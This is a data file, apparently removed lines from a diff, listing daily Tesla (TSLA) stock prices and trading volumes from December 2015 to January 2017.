-2015-12-09,226.6999969482422,227.5,220.72000122070312,224.52000427246094,224.52000427246094,3057800,TSLA
-2015-12-10,224.7100067138672,228.49000549316406,223.63999938964844,227.07000732421875,227.07000732421875,2071700,TSLA
-2015-12-11,225.24000549316406,225.75,216.63999938964844,217.02000427246094,217.02000427246094,3268700,TSLA
-2015-12-14,217.50999450683594,220.9199981689453,214.8699951171875,218.5800018310547,218.5800018310547,2827100,TSLA
-2015-12-15,221.82000732421875,222.22000122070312,218.0,221.08999633789062,221.08999633789062,2244400,TSLA
-2015-12-16,222.10000610351562,234.8800048828125,220.72999572753906,234.50999450683594,234.50999450683594,5104300,TSLA
-2015-12-17,233.94000244140625,237.75999450683594,229.80999755859375,233.38999938964844,233.38999938964844,3298600,TSLA
-2015-12-18,232.88999938964844,235.89999389648438,229.2899932861328,230.4600067138672,230.4600067138672,3014200,TSLA
-2015-12-21,231.69000244140625,235.8300018310547,231.0800018310547,232.55999755859375,232.55999755859375,1953200,TSLA
-2015-12-22,234.99000549316406,236.5500030517578,229.6300048828125,229.9499969482422,229.9499969482422,1961500,TSLA
-2015-12-23,232.17999267578125,233.4499969482422,228.1300048828125,229.6999969482422,229.6999969482422,1555000,TSLA
-2015-12-24,230.55999755859375,231.8800048828125,228.27999877929688,230.57000732421875,230.57000732421875,708000,TSLA
-2015-12-28,231.49000549316406,231.97999572753906,225.5399932861328,228.9499969482422,228.9499969482422,1901300,TSLA
-2015-12-29,230.05999755859375,237.72000122070312,229.5500030517578,237.19000244140625,237.19000244140625,2406300,TSLA
-2015-12-30,236.60000610351562,243.6300048828125,235.6699981689453,238.08999633789062,238.08999633789062,3697900,TSLA
-2015-12-31,238.50999450683594,243.4499969482422,238.3699951171875,240.00999450683594,240.00999450683594,2715000,TSLA
-2016-01-04,230.72000122070312,231.3800048828125,219.0,223.41000366210938,223.41000366210938,6827100,TSLA
-2016-01-05,226.36000061035156,226.88999938964844,220.0,223.42999267578125,223.42999267578125,3186800,TSLA
-2016-01-06,220.0,220.0500030517578,215.97999572753906,219.0399932861328,219.0399932861328,3779100,TSLA
-2016-01-07,214.19000244140625,218.44000244140625,213.6699981689453,215.64999389648438,215.64999389648438,3554300,TSLA
-2016-01-08,217.86000061035156,220.44000244140625,210.77000427246094,211.0,211.0,3628100,TSLA
-2016-01-11,214.00999450683594,214.4499969482422,203.0,207.85000610351562,207.85000610351562,4091400,TSLA
-2016-01-12,211.60000610351562,213.74000549316406,205.30999755859375,209.97000122070312,209.97000122070312,3091900,TSLA
-2016-01-13,212.00999450683594,212.64999389648438,200.0,200.30999755859375,200.30999755859375,4126400,TSLA
-2016-01-14,202.2100067138672,210.0,193.3800048828125,206.17999267578125,206.17999267578125,6490700,TSLA
-2016-01-15,198.97000122070312,205.07000732421875,197.25,204.99000549316406,204.99000549316406,5578600,TSLA
-2016-01-19,208.7100067138672,210.47000122070312,200.77999877929688,204.72000122070312,204.72000122070312,4038700,TSLA
-2016-01-20,199.39999389648438,201.27999877929688,191.25,198.6999969482422,198.6999969482422,5838600,TSLA
-2016-01-21,201.5500030517578,203.22999572753906,195.02000427246094,199.97000122070312,199.97000122070312,3166200,TSLA
-2016-01-22,204.8000030517578,205.5,199.02999877929688,202.5500030517578,202.5500030517578,3124100,TSLA
-2016-01-25,200.05999755859375,203.57000732421875,195.8800048828125,196.3800048828125,196.3800048828125,2698700,TSLA
-2016-01-26,196.6999969482422,197.82000732421875,188.8800048828125,193.55999755859375,193.55999755859375,4964200,TSLA
-2016-01-27,192.3800048828125,193.25999450683594,185.77000427246094,188.07000732421875,188.07000732421875,3617200,TSLA
-2016-01-28,190.7899932861328,191.27999877929688,182.41000366210938,189.6999969482422,189.6999969482422,4592800,TSLA
-2016-01-29,189.9499969482422,193.74000549316406,188.0800018310547,191.1999969482422,191.1999969482422,2852300,TSLA
-2016-02-01,188.75999450683594,199.52000427246094,182.75,196.94000244140625,196.94000244140625,5297600,TSLA
-2016-02-02,192.4199981689453,193.1199951171875,180.22999572753906,182.77999877929688,182.77999877929688,5773600,TSLA
-2016-02-03,183.58999633789062,183.94000244140625,170.17999267578125,173.47999572753906,173.47999572753906,7931400,TSLA
-2016-02-04,170.6999969482422,175.97999572753906,166.99000549316406,175.3300018310547,175.3300018310547,4385400,TSLA
-2016-02-05,171.3000030517578,173.0,157.74000549316406,162.60000610351562,162.60000610351562,9437600,TSLA
-2016-02-08,157.10000610351562,157.14999389648438,146.0,147.99000549316406,147.99000549316406,9313000,TSLA
-2016-02-09,142.32000732421875,159.7899932861328,141.0500030517578,148.25,148.25,8651600,TSLA
-2016-02-10,150.5,154.97000122070312,141.74000549316406,143.6699981689453,143.6699981689453,10406500,TSLA
-2016-02-11,152.0,163.25999450683594,147.0,150.47000122070312,150.47000122070312,14252400,TSLA
-2016-02-12,155.0,157.00999450683594,143.6999969482422,151.0399932861328,151.0399932861328,7235800,TSLA
-2016-02-16,158.6999969482422,162.9499969482422,154.11000061035156,155.1699981689453,155.1699981689453,5593800,TSLA
-2016-02-17,159.0,169.33999633789062,156.67999267578125,168.67999267578125,168.67999267578125,5825200,TSLA
-2016-02-18,172.4199981689453,172.9499969482422,164.77000427246094,166.77000427246094,166.77000427246094,3887600,TSLA
-2016-02-19,163.66000366210938,167.49000549316406,162.5,166.5800018310547,166.5800018310547,2959400,TSLA
-2016-02-22,170.1199951171875,178.91000366210938,169.85000610351562,177.74000549316406,177.74000549316406,5060100,TSLA
-2016-02-23,176.16000366210938,181.72999572753906,173.67999267578125,177.2100067138672,177.2100067138672,5984400,TSLA
-2016-02-24,172.75,179.5,167.83999633789062,179.0,179.0,5395600,TSLA
-2016-02-25,178.64999389648438,188.52000427246094,175.1999969482422,187.42999267578125,187.42999267578125,5750700,TSLA
-2016-02-26,188.6999969482422,192.0,185.0,190.33999633789062,190.33999633789062,6065100,TSLA
-2016-02-29,192.39999389648438,196.35000610351562,189.22000122070312,191.92999267578125,191.92999267578125,4499000,TSLA
-2016-03-01,194.25,195.9499969482422,182.6999969482422,186.35000610351562,186.35000610351562,6712200,TSLA
-2016-03-02,183.72999572753906,188.52000427246094,181.5,188.33999633789062,188.33999633789062,4862400,TSLA
-2016-03-03,188.27999877929688,197.4199981689453,184.22000122070312,195.74000549316406,195.74000549316406,4829000,TSLA
-2016-03-04,198.0,204.02999877929688,197.5,201.0399932861328,201.0399932861328,6489100,TSLA
-2016-03-07,197.67999267578125,209.6999969482422,197.39999389648438,205.2899932861328,205.2899932861328,5329400,TSLA
-2016-03-08,203.5,207.5,202.1999969482422,202.60000610351562,202.60000610351562,4178700,TSLA
-2016-03-09,204.52000427246094,209.3699951171875,202.7899932861328,208.72000122070312,208.72000122070312,3208600,TSLA
-2016-03-10,210.0,213.2899932861328,200.6699981689453,205.17999267578125,205.17999267578125,5192500,TSLA
-2016-03-11,207.92999267578125,209.4199981689453,205.3300018310547,207.5,207.5,3343100,TSLA
-2016-03-14,212.64999389648438,216.72000122070312,210.63999938964844,215.14999389648438,215.14999389648438,4065700,TSLA
-2016-03-15,214.27000427246094,218.97000122070312,211.5,218.33999633789062,218.33999633789062,3180500,TSLA
-2016-03-16,218.0,222.5800018310547,217.02000427246094,221.92999267578125,221.92999267578125,3516700,TSLA
-2016-03-17,221.47000122070312,228.5,220.0,226.3800048828125,226.3800048828125,3782900,TSLA
-2016-03-18,229.10000610351562,234.47999572753906,228.05999755859375,232.74000549316406,232.74000549316406,4711800,TSLA
-2016-03-21,235.33999633789062,239.8800048828125,235.0,238.32000732421875,238.32000732421875,5307800,TSLA
-2016-03-22,237.2100067138672,238.99000549316406,232.55999755859375,234.24000549316406,234.24000549316406,4316000,TSLA
-2016-03-23,232.3699951171875,234.72999572753906,222.02999877929688,222.5800018310547,222.5800018310547,4948800,TSLA
-2016-03-24,215.77999877929688,228.88999938964844,215.0,227.75,227.75,4960900,TSLA
-2016-03-28,231.61000061035156,234.80999755859375,225.0,230.25999450683594,230.25999450683594,3925700,TSLA
-2016-03-29,229.88999938964844,232.3800048828125,225.3300018310547,230.1300048828125,230.1300048828125,4014300,TSLA
-2016-03-30,235.08999633789062,235.5,226.5,226.88999938964844,226.88999938964844,4033000,TSLA
-2016-03-31,229.33999633789062,237.4199981689453,225.00999450683594,229.77000427246094,229.77000427246094,8012900,TSLA
-2016-04-01,244.8300018310547,247.89999389648438,233.25,237.58999633789062,237.58999633789062,15997500,TSLA
-2016-04-04,249.1199951171875,252.1199951171875,243.63999938964844,246.99000549316406,246.99000549316406,13475300,TSLA
-2016-04-05,240.5,256.55999755859375,240.0,255.47000122070312,255.47000122070312,9948700,TSLA
-2016-04-06,253.97000122070312,267.739990234375,253.4499969482422,265.4200134277344,265.4200134277344,11705500,TSLA
-2016-04-07,266.45001220703125,269.3399963378906,254.50999450683594,257.20001220703125,257.20001220703125,8856200,TSLA
-2016-04-08,260.5,260.82000732421875,248.02000427246094,250.07000732421875,250.07000732421875,7363900,TSLA
-2016-04-11,251.0,258.989990234375,245.3000030517578,249.9199981689453,249.9199981689453,9161700,TSLA
-2016-04-12,249.5,251.8000030517578,243.6300048828125,247.82000732421875,247.82000732421875,5763200,TSLA
-2016-04-13,248.50999450683594,255.5,247.3300018310547,254.52999877929688,254.52999877929688,4925600,TSLA
-2016-04-14,253.0,256.8399963378906,251.0500030517578,251.86000061035156,251.86000061035156,4132200,TSLA
-2016-04-15,251.30999755859375,254.60000610351562,249.1199951171875,254.50999450683594,254.50999450683594,3752400,TSLA
-2016-04-18,252.22999572753906,258.30999755859375,251.66000366210938,253.8800048828125,253.8800048828125,4271400,TSLA
-2016-04-19,253.1199951171875,254.3699951171875,241.25,247.3699951171875,247.3699951171875,6357500,TSLA
-2016-04-20,246.25999450683594,253.66000366210938,241.5,249.97000122070312,249.97000122070312,5194100,TSLA
-2016-04-21,248.99000549316406,250.89999389648438,246.91000366210938,248.2899932861328,248.2899932861328,2783100,TSLA
-2016-04-22,248.88999938964844,254.0,245.7100067138672,253.75,253.75,3786300,TSLA
-2016-04-25,253.00999450683594,257.3800048828125,250.75999450683594,251.82000732421875,251.82000732421875,3670300,TSLA
-2016-04-26,252.0500030517578,255.72999572753906,249.38999938964844,253.74000549316406,253.74000549316406,3223800,TSLA
-2016-04-27,252.75,255.0,249.39999389648438,251.47000122070312,251.47000122070312,3205800,TSLA
-2016-04-28,249.85000610351562,253.42999267578125,247.44000244140625,247.7100067138672,247.7100067138672,2519000,TSLA
-2016-04-29,248.13999938964844,248.42999267578125,237.80999755859375,240.75999450683594,240.75999450683594,5413800,TSLA
-2016-05-02,241.5,243.19000244140625,234.82000732421875,241.8000030517578,241.8000030517578,3843900,TSLA
-2016-05-03,237.36000061035156,238.91000366210938,231.6199951171875,232.32000732421875,232.32000732421875,4302200,TSLA
-2016-05-04,230.2899932861328,234.4600067138672,220.39999389648438,222.55999755859375,222.55999755859375,8700500,TSLA
-2016-05-05,228.4600067138672,228.63999938964844,209.7899932861328,211.52999877929688,211.52999877929688,11254800,TSLA
-2016-05-06,210.8699951171875,216.3699951171875,208.11000061035156,214.92999267578125,214.92999267578125,5685200,TSLA
-2016-05-09,215.72000122070312,216.14999389648438,206.8000030517578,208.9199981689453,208.9199981689453,4776400,TSLA
-2016-05-10,207.5500030517578,209.47000122070312,205.0,208.69000244140625,208.69000244140625,4070600,TSLA
-2016-05-11,207.58999633789062,215.47999572753906,206.0500030517578,208.9600067138672,208.9600067138672,5161900,TSLA
-2016-05-12,211.44000244140625,211.6699981689453,203.66000366210938,207.27999877929688,207.27999877929688,3650500,TSLA
-2016-05-13,207.77999877929688,211.1999969482422,206.6999969482422,207.61000061035156,207.61000061035156,2822800,TSLA
-2016-05-16,208.14999389648438,213.14999389648438,207.9199981689453,208.2899932861328,208.2899932861328,2949400,TSLA
-2016-05-17,209.0500030517578,209.82000732421875,204.02000427246094,204.66000366210938,204.66000366210938,2843600,TSLA
-2016-05-18,209.14999389648438,215.30999755859375,207.75,211.1699981689453,211.1699981689453,5617500,TSLA
-2016-05-19,213.6199951171875,216.7899932861328,207.3000030517578,215.2100067138672,215.2100067138672,6866300,TSLA
-2016-05-20,216.99000549316406,220.5500030517578,216.35000610351562,220.27999877929688,220.27999877929688,9007100,TSLA
-2016-05-23,219.8699951171875,222.60000610351562,215.86000061035156,216.22000122070312,216.22000122070312,5102500,TSLA
-2016-05-24,216.60000610351562,218.74000549316406,215.17999267578125,217.91000366210938,217.91000366210938,3013800,TSLA
-2016-05-25,217.91000366210938,221.36000061035156,216.50999450683594,219.5800018310547,219.5800018310547,3126800,TSLA
-2016-05-26,220.5,225.25999450683594,219.0500030517578,225.1199951171875,225.1199951171875,4072400,TSLA
-2016-05-27,224.99000549316406,225.92999267578125,220.75,223.0399932861328,223.0399932861328,3650300,TSLA
-2016-05-31,223.0399932861328,224.75,221.5,223.22999572753906,223.22999572753906,2789000,TSLA
-2016-06-01,221.47999572753906,222.39999389648438,216.88999938964844,219.55999755859375,219.55999755859375,2982700,TSLA
-2016-06-02,219.58999633789062,219.91000366210938,217.11000061035156,218.9600067138672,218.9600067138672,2032800,TSLA
-2016-06-03,220.0,221.94000244140625,218.00999450683594,218.99000549316406,218.99000549316406,2229000,TSLA
-2016-06-06,218.0,220.89999389648438,215.4499969482422,220.67999267578125,220.67999267578125,2249500,TSLA
-2016-06-07,222.24000549316406,234.44000244140625,221.52000427246094,232.33999633789062,232.33999633789062,6213600,TSLA
-2016-06-08,233.8000030517578,240.85000610351562,232.61000061035156,235.52000427246094,235.52000427246094,5972000,TSLA
-2016-06-09,234.97999572753906,235.3300018310547,227.05999755859375,229.36000061035156,229.36000061035156,4492100,TSLA
-2016-06-10,227.38999938964844,227.97000122070312,218.4199981689453,218.7899932861328,218.7899932861328,6026600,TSLA
-2016-06-13,219.5,225.77000427246094,217.66000366210938,217.8699951171875,217.8699951171875,4193000,TSLA
-2016-06-14,218.8800048828125,222.1999969482422,212.52999877929688,214.9600067138672,214.9600067138672,3580200,TSLA
-2016-06-15,216.9499969482422,221.89999389648438,215.1300048828125,217.6999969482422,217.6999969482422,2908500,TSLA
-2016-06-16,217.4199981689453,218.0399932861328,213.5,217.92999267578125,217.92999267578125,2440300,TSLA
-2016-06-17,217.80999755859375,219.99000549316406,214.5,215.47000122070312,215.47000122070312,3112600,TSLA
-2016-06-20,219.5,223.75,218.22999572753906,219.6999969482422,219.6999969482422,3555500,TSLA
-2016-06-21,220.67999267578125,222.57000732421875,218.80999755859375,219.61000061035156,219.61000061035156,4529000,TSLA
-2016-06-22,199.47000122070312,205.9499969482422,195.75,196.66000366210938,196.66000366210938,23742400,TSLA
-2016-06-23,195.69000244140625,197.5500030517578,192.1300048828125,196.39999389648438,196.39999389648438,10130700,TSLA
-2016-06-24,190.0500030517578,195.1199951171875,189.72999572753906,193.14999389648438,193.14999389648438,7026500,TSLA
-2016-06-27,190.86000061035156,198.80999755859375,187.8699951171875,198.5500030517578,198.5500030517578,7205400,TSLA
-2016-06-28,201.88999938964844,204.0500030517578,199.41000366210938,201.7899932861328,201.7899932861328,6212400,TSLA
-2016-06-29,205.1300048828125,211.77999877929688,203.0,210.19000244140625,210.19000244140625,5994900,TSLA
-2016-06-30,212.97000122070312,213.5,209.02000427246094,212.27999877929688,212.27999877929688,4843100,TSLA
-2016-07-01,206.13999938964844,218.24000549316406,206.0,216.5,216.5,5400000,TSLA
-2016-07-05,209.72999572753906,214.5399932861328,208.0,213.97999572753906,213.97999572753906,5175300,TSLA
-2016-07-06,210.0,215.22999572753906,209.0,214.44000244140625,214.44000244140625,4919900,TSLA
-2016-07-07,213.10000610351562,218.1199951171875,213.00999450683594,215.94000244140625,215.94000244140625,3612000,TSLA
-2016-07-08,217.8000030517578,219.80999755859375,214.5,216.77999877929688,216.77999877929688,4074800,TSLA
-2016-07-11,219.9600067138672,226.77999877929688,219.50999450683594,224.77999877929688,224.77999877929688,5429800,TSLA
-2016-07-12,224.10000610351562,227.5,223.22000122070312,224.64999389648438,224.64999389648438,4571300,TSLA
-2016-07-13,225.5,225.58999633789062,220.2899932861328,222.52999877929688,222.52999877929688,3567100,TSLA
-2016-07-14,223.1199951171875,224.94000244140625,221.0500030517578,221.52999877929688,221.52999877929688,2675800,TSLA
-2016-07-15,222.52000427246094,222.75,219.63999938964844,220.39999389648438,220.39999389648438,2234200,TSLA
-2016-07-18,219.63999938964844,227.08999633789062,218.3000030517578,226.25,226.25,3412100,TSLA
-2016-07-19,225.0,229.10000610351562,224.75,225.25999450683594,225.25999450683594,3115100,TSLA
-2016-07-20,226.47000122070312,229.8000030517578,225.0,228.36000061035156,228.36000061035156,2568500,TSLA
-2016-07-21,226.0,227.85000610351562,219.10000610351562,220.5,220.5,4428700,TSLA
-2016-07-22,221.99000549316406,224.5,218.8800048828125,222.27000427246094,222.27000427246094,2579700,TSLA
-2016-07-25,222.27000427246094,231.38999938964844,221.3699951171875,230.00999450683594,230.00999450683594,4490700,TSLA
-2016-07-26,227.69000244140625,230.0,225.3000030517578,229.50999450683594,229.50999450683594,3430000,TSLA
-2016-07-27,229.33999633789062,233.36000061035156,226.9199981689453,228.49000549316406,228.49000549316406,2889000,TSLA
-2016-07-28,227.9499969482422,230.75999450683594,226.60000610351562,230.61000061035156,230.61000061035156,2419100,TSLA
-2016-07-29,230.6999969482422,235.27999877929688,230.24000549316406,234.7899932861328,234.7899932861328,3070800,TSLA
-2016-08-01,235.5,236.6300048828125,229.3800048828125,230.00999450683594,230.00999450683594,4016300,TSLA
-2016-08-02,229.3699951171875,229.8699951171875,221.39999389648438,227.1999969482422,227.1999969482422,3934400,TSLA
-2016-08-03,227.3699951171875,229.6999969482422,224.2100067138672,225.7899932861328,225.7899932861328,3887800,TSLA
-2016-08-04,225.69000244140625,230.86000061035156,222.0500030517578,230.61000061035156,230.61000061035156,4147000,TSLA
-2016-08-05,230.0,232.0,227.39999389648438,230.02999877929688,230.02999877929688,3205200,TSLA
-2016-08-08,228.0,229.60000610351562,226.08999633789062,226.16000366210938,226.16000366210938,2263600,TSLA
-2016-08-09,226.82000732421875,231.5399932861328,226.64999389648438,229.0800018310547,229.0800018310547,2207800,TSLA
-2016-08-10,228.24000549316406,229.8699951171875,224.6199951171875,225.64999389648438,225.64999389648438,2338300,TSLA
-2016-08-11,226.1699981689453,227.57000732421875,223.41000366210938,224.91000366210938,224.91000366210938,1880900,TSLA
-2016-08-12,225.41000366210938,226.64999389648438,224.0399932861328,225.61000061035156,225.61000061035156,1813500,TSLA
-2016-08-15,226.02000427246094,229.5,224.92999267578125,225.58999633789062,225.58999633789062,2034300,TSLA
-2016-08-16,225.49000549316406,227.19000244140625,223.41000366210938,223.61000061035156,223.61000061035156,2267100,TSLA
-2016-08-17,224.3300018310547,224.8300018310547,222.8000030517578,223.24000549316406,223.24000549316406,1787100,TSLA
-2016-08-18,223.82000732421875,225.66000366210938,222.2899932861328,223.50999450683594,223.50999450683594,1714500,TSLA
-2016-08-19,223.5399932861328,225.1699981689453,222.52999877929688,225.0,225.0,1659500,TSLA
-2016-08-22,224.1699981689453,225.11000061035156,222.67999267578125,222.92999267578125,222.92999267578125,2065500,TSLA
-2016-08-23,224.32000732421875,228.49000549316406,222.8000030517578,224.83999633789062,224.83999633789062,4784400,TSLA
-2016-08-24,227.0500030517578,227.14999389648438,222.22000122070312,222.6199951171875,222.6199951171875,2570700,TSLA
-2016-08-25,223.11000061035156,223.8000030517578,220.77000427246094,220.9600067138672,220.9600067138672,1762500,TSLA
-2016-08-26,222.13999938964844,222.86000061035156,218.82000732421875,219.99000549316406,219.99000549316406,2239000,TSLA
-2016-08-29,220.14999389648438,220.39999389648438,215.0,215.1999969482422,215.1999969482422,3266300,TSLA
-2016-08-30,216.11000061035156,216.11000061035156,210.52000427246094,211.33999633789062,211.33999633789062,3168900,TSLA
-2016-08-31,210.42999267578125,212.60000610351562,208.64999389648438,212.00999450683594,212.00999450683594,3276500,TSLA
-2016-09-01,209.00999450683594,211.10000610351562,200.5,200.77000427246094,200.77000427246094,7943100,TSLA
-2016-09-02,202.3300018310547,203.1999969482422,196.1999969482422,197.77999877929688,197.77999877929688,5977400,TSLA
-2016-09-06,199.02000427246094,203.25,199.0,202.8300018310547,202.8300018310547,4390600,TSLA
-2016-09-07,205.5,206.5,200.7100067138672,201.7100067138672,201.7100067138672,3640900,TSLA
-2016-09-08,199.5500030517578,199.88999938964844,196.36000061035156,197.36000061035156,197.36000061035156,3377900,TSLA
-2016-09-09,199.08999633789062,199.9199981689453,193.6999969482422,194.47000122070312,194.47000122070312,3757000,TSLA
-2016-09-12,195.0,201.3699951171875,194.10000610351562,198.3000030517578,198.3000030517578,3715200,TSLA
-2016-09-13,197.05999755859375,198.49000549316406,193.4499969482422,196.0500030517578,196.0500030517578,3589400,TSLA
-2016-09-14,195.75,197.9199981689453,194.86000061035156,196.41000366210938,196.41000366210938,2254500,TSLA
-2016-09-15,196.49000549316406,202.52000427246094,196.39999389648438,200.4199981689453,200.4199981689453,3077200,TSLA
-2016-09-16,200.4199981689453,205.6999969482422,199.0,205.39999389648438,205.39999389648438,3107800,TSLA
-2016-09-19,207.0,209.42999267578125,205.0,206.33999633789062,206.33999633789062,2299500,TSLA
-2016-09-20,206.85000610351562,207.75,203.91000366210938,204.63999938964844,204.63999938964844,2410500,TSLA
-2016-09-21,206.3699951171875,207.0,201.55999755859375,205.22000122070312,205.22000122070312,2633500,TSLA
-2016-09-22,206.39999389648438,207.27999877929688,203.0,206.42999267578125,206.42999267578125,2382900,TSLA
-2016-09-23,205.99000549316406,210.17999267578125,205.6699981689453,207.4499969482422,207.4499969482422,2905200,TSLA
-2016-09-26,206.5,211.0,206.5,208.99000549316406,208.99000549316406,2394400,TSLA
-2016-09-27,209.64999389648438,209.97999572753906,204.61000061035156,205.80999755859375,205.80999755859375,3373200,TSLA
-2016-09-28,207.50999450683594,208.25,205.25999450683594,206.27000427246094,206.27000427246094,2088400,TSLA
-2016-09-29,205.60000610351562,207.3300018310547,200.5800018310547,200.6999969482422,200.6999969482422,2727000,TSLA
-2016-09-30,202.2100067138672,204.97999572753906,199.5500030517578,204.02999877929688,204.02999877929688,2586300,TSLA
-2016-10-03,212.3000030517578,215.6699981689453,208.25,213.6999969482422,213.6999969482422,5999900,TSLA
-2016-10-04,213.10000610351562,213.32000732421875,208.82000732421875,211.41000366210938,211.41000366210938,3541500,TSLA
-2016-10-05,212.24000549316406,213.14999389648438,208.1199951171875,208.4600067138672,208.4600067138672,1877500,TSLA
-2016-10-06,202.4600067138672,204.2100067138672,200.2100067138672,201.0,201.0,4703400,TSLA
-2016-10-07,201.0,201.32000732421875,195.8000030517578,196.61000061035156,196.61000061035156,3493000,TSLA
-2016-10-10,201.35000610351562,204.13999938964844,199.66000366210938,200.9499969482422,200.9499969482422,3316300,TSLA
-2016-10-11,201.85000610351562,202.1999969482422,198.30999755859375,200.10000610351562,200.10000610351562,2328400,TSLA
-2016-10-12,200.9499969482422,203.8800048828125,200.4199981689453,201.50999450683594,201.50999450683594,1970700,TSLA
-2016-10-13,200.5,200.89999389648438,197.0500030517578,200.24000549316406,200.24000549316406,2494600,TSLA
-2016-10-14,200.66000366210938,201.42999267578125,196.3000030517578,196.50999450683594,196.50999450683594,4269900,TSLA
-2016-10-17,197.0500030517578,198.38999938964844,192.0,193.9600067138672,193.9600067138672,4554100,TSLA
-2016-10-18,195.99000549316406,199.47000122070312,193.25999450683594,199.10000610351562,199.10000610351562,5680500,TSLA
-2016-10-19,199.74000549316406,206.66000366210938,198.05999755859375,203.55999755859375,203.55999755859375,6991200,TSLA
-2016-10-20,202.1199951171875,203.0,197.0500030517578,199.10000610351562,199.10000610351562,5072900,TSLA
-2016-10-21,198.60000610351562,201.57000732421875,197.41000366210938,200.08999633789062,200.08999633789062,2943400,TSLA
-2016-10-24,201.0,203.9499969482422,200.25,202.75999450683594,202.75999450683594,2751600,TSLA
-2016-10-25,202.89999389648438,204.69000244140625,201.1999969482422,202.33999633789062,202.33999633789062,2445000,TSLA
-2016-10-26,201.0,203.19000244140625,200.10000610351562,202.24000549316406,202.24000549316406,5632800,TSLA
-2016-10-27,211.33999633789062,213.6999969482422,201.64999389648438,204.00999450683594,204.00999450683594,13093700,TSLA
-2016-10-28,204.0,205.32000732421875,199.8300018310547,199.97000122070312,199.97000122070312,4280100,TSLA
-2016-10-31,202.49000549316406,202.49000549316406,195.80999755859375,197.72999572753906,197.72999572753906,4692300,TSLA
-2016-11-01,198.0399932861328,198.5,188.11000061035156,190.7899932861328,190.7899932861328,7060000,TSLA
-2016-11-02,190.0500030517578,192.6999969482422,187.50999450683594,188.02000427246094,188.02000427246094,4253400,TSLA
-2016-11-03,189.0,191.47000122070312,187.0399932861328,187.4199981689453,187.4199981689453,2653000,TSLA
-2016-11-04,189.0,193.4600067138672,185.9600067138672,190.55999755859375,190.55999755859375,5146000,TSLA
-2016-11-07,193.58999633789062,194.2899932861328,190.0500030517578,193.2100067138672,193.2100067138672,3870100,TSLA
-2016-11-08,193.7899932861328,197.49000549316406,191.25999450683594,194.94000244140625,194.94000244140625,3267600,TSLA
-2016-11-09,186.8800048828125,192.0,183.9499969482422,190.05999755859375,190.05999755859375,8173100,TSLA
-2016-11-10,191.0500030517578,191.61000061035156,180.4199981689453,185.35000610351562,185.35000610351562,6750300,TSLA
-2016-11-11,184.24000549316406,188.8800048828125,183.0,188.55999755859375,188.55999755859375,3988500,TSLA
-2016-11-14,188.0,188.25,178.19000244140625,181.4499969482422,181.4499969482422,6552200,TSLA
-2016-11-15,182.77999877929688,186.42999267578125,182.0500030517578,183.77000427246094,183.77000427246094,3902000,TSLA
-2016-11-16,182.64999389648438,184.72999572753906,181.2100067138672,183.92999267578125,183.92999267578125,3434400,TSLA
-2016-11-17,183.49000549316406,189.49000549316406,182.11000061035156,188.66000366210938,188.66000366210938,4887100,TSLA
-2016-11-18,190.64999389648438,193.0,185.0,185.02000427246094,185.02000427246094,5210300,TSLA
-2016-11-21,185.0399932861328,188.88999938964844,184.41000366210938,184.52000427246094,184.52000427246094,4361000,TSLA
-2016-11-22,185.83999633789062,191.47000122070312,183.7100067138672,191.1699981689453,191.1699981689453,5603400,TSLA
-2016-11-23,190.61000061035156,195.63999938964844,189.0,193.13999938964844,193.13999938964844,4891900,TSLA
-2016-11-25,193.63999938964844,197.24000549316406,193.63999938964844,196.64999389648438,196.64999389648438,2366100,TSLA
-2016-11-28,195.47999572753906,199.35000610351562,194.5500030517578,196.1199951171875,196.1199951171875,4529200,TSLA
-2016-11-29,195.55999755859375,196.72999572753906,189.5,189.57000732421875,189.57000732421875,4439300,TSLA
-2016-11-30,191.0,191.88999938964844,187.5,189.39999389648438,189.39999389648438,3547100,TSLA
-2016-12-01,188.25,188.52999877929688,181.0,181.8800048828125,181.8800048828125,5126400,TSLA
-2016-12-02,182.8800048828125,184.8800048828125,180.0,181.47000122070312,181.47000122070312,4042300,TSLA
-2016-12-05,182.50999450683594,188.88999938964844,182.50999450683594,186.8000030517578,186.8000030517578,4072200,TSLA
-2016-12-06,185.52000427246094,186.5800018310547,182.67999267578125,185.85000610351562,185.85000610351562,3391600,TSLA
-2016-12-07,186.14999389648438,193.39999389648438,185.0,193.14999389648438,193.14999389648438,5461900,TSLA
-2016-12-08,192.0500030517578,192.5,189.5399932861328,192.2899932861328,192.2899932861328,3194100,TSLA
-2016-12-09,190.8699951171875,193.83999633789062,190.80999755859375,192.17999267578125,192.17999267578125,2722500,TSLA
-2016-12-12,192.8000030517578,194.4199981689453,191.17999267578125,192.42999267578125,192.42999267578125,2438900,TSLA
-2016-12-13,193.17999267578125,201.27999877929688,193.0,198.14999389648438,198.14999389648438,6823900,TSLA
-2016-12-14,198.74000549316406,203.0,196.75999450683594,198.69000244140625,198.69000244140625,4150900,TSLA
-2016-12-15,198.41000366210938,200.74000549316406,197.38999938964844,197.5800018310547,197.5800018310547,3219600,TSLA
-2016-12-16,198.0800018310547,202.58999633789062,197.60000610351562,202.49000549316406,202.49000549316406,3796900,TSLA
-2016-12-19,202.49000549316406,204.4499969482422,199.83999633789062,202.72999572753906,202.72999572753906,3488100,TSLA
-2016-12-20,203.0500030517578,209.0,202.5,208.7899932861328,208.7899932861328,4689100,TSLA
-2016-12-21,208.4499969482422,212.22999572753906,207.41000366210938,207.6999969482422,207.6999969482422,5207600,TSLA
-2016-12-22,208.22000122070312,209.99000549316406,206.5,208.4499969482422,208.4499969482422,3111100,TSLA
-2016-12-23,208.0,213.4499969482422,207.7100067138672,213.33999633789062,213.33999633789062,4670500,TSLA
-2016-12-27,214.8800048828125,222.25,214.4199981689453,219.52999877929688,219.52999877929688,5915700,TSLA
-2016-12-28,221.52999877929688,223.8000030517578,217.1999969482422,219.74000549316406,219.74000549316406,3782500,TSLA
-2016-12-29,218.55999755859375,219.1999969482422,214.1199951171875,214.67999267578125,214.67999267578125,4045000,TSLA
-2016-12-30,216.3000030517578,217.5,211.67999267578125,213.69000244140625,213.69000244140625,4642600,TSLA
-2017-01-03,214.86000061035156,220.3300018310547,210.9600067138672,216.99000549316406,216.99000549316406,5923300,TSLA
-2017-01-04,214.75,228.0,214.30999755859375,226.99000549316406,226.99000549316406,11213500,TSLA
-2017-01-05,226.4199981689453,227.47999572753906,221.9499969482422,226.75,226.75,5911700,TSLA
-2017-01-06,226.92999267578125,230.30999755859375,225.4499969482422,229.00999450683594,229.00999450683594,5527900,TSLA
-2017-01-09,228.97000122070312,231.9199981689453,228.0,231.27999877929688,231.27999877929688,3979500,TSLA
-2017-01-10,232.0,232.0,226.88999938964844,229.8699951171875,229.8699951171875,3660000,TSLA
-2017-01-11,229.07000732421875,229.97999572753906,226.67999267578125,229.72999572753906,229.72999572753906,3650800,TSLA
